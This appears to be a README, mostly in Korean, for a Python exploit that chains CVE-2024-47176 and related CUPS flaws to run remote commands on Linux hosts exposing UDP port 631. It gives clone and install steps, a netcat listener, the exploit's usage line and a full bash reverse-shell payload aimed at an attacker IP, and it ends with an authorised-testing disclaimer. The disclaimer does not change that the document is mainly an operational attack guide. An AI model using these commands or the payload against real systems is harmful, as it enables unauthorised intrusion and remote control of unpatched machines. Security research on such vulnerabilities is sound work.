
Python exploit for CVE-2024-47176, 조작된 UDP 패킷을 통해 CUPS cups-browsed에서 원격 명령 실행을 달성합니다. 승인된 침투 테스트를 위한 리버스 셸 페이로드 전달을 포함합니다.
INADDR_ANY:631악의적인 UDP 패킷을 조작하여 Get-Printer-Attributes IPP 요청을 트리거하면 공격자는 cups-browsed가 공격자가 제어하는 서버에 연결하도록 만들 수 있으며, 아래의 취약점들과 결합하면 임의의 원격 명령 실행이 가능해집니다.
| 구성 요소 | 조건 |
|---|---|
cups-browsed | UDP 631에서 수신 대기 (기본값) |
| CUPS < 2.4.11 | 패치되지 않은 버전 |
| CUPS가 노출된 Linux 시스템 | 공격자가 포트 631에 접근 가능 |
| CVE | 설명 |
|---|---|
| CVE-2024-47176 | cups-browsed가 포트 631의 모든 UDP 패킷을 신뢰함 |
| CVE-2024-47076 | libcupsfilters가 IPP 속성을 검증하지 않음 |
| CVE-2024-47175 | libppd가 검증되지 않은 데이터를 PPD 파일에 주입함 |
| CVE-2024-47177 | cups-filters가 PPD를 통해 명령 실행을 허용함 |
nmap (선택 사항, 정찰용)1. 저장소를 클론합니다:
git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176
2. 필요한 Python 종속성을 설치합니다:
pip install ippserver
3. 머신에서 리스너를 시작합니다:
nc -lvnp <PORT>
./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"
예제 — 리버스 셸:
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
익스플로잇 실행 후 대상에서 인쇄 작업을 트리거하거나 (또는 자동 확인을 기다려) 페이로드를 실행합니다.
이 저장소는 오로지 교육 목적과 승인된 보안 연구를 위해 제공됩니다. 귀하가 소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에서 이 도구를 사용하는 것은 불법이며 비윤리적입니다.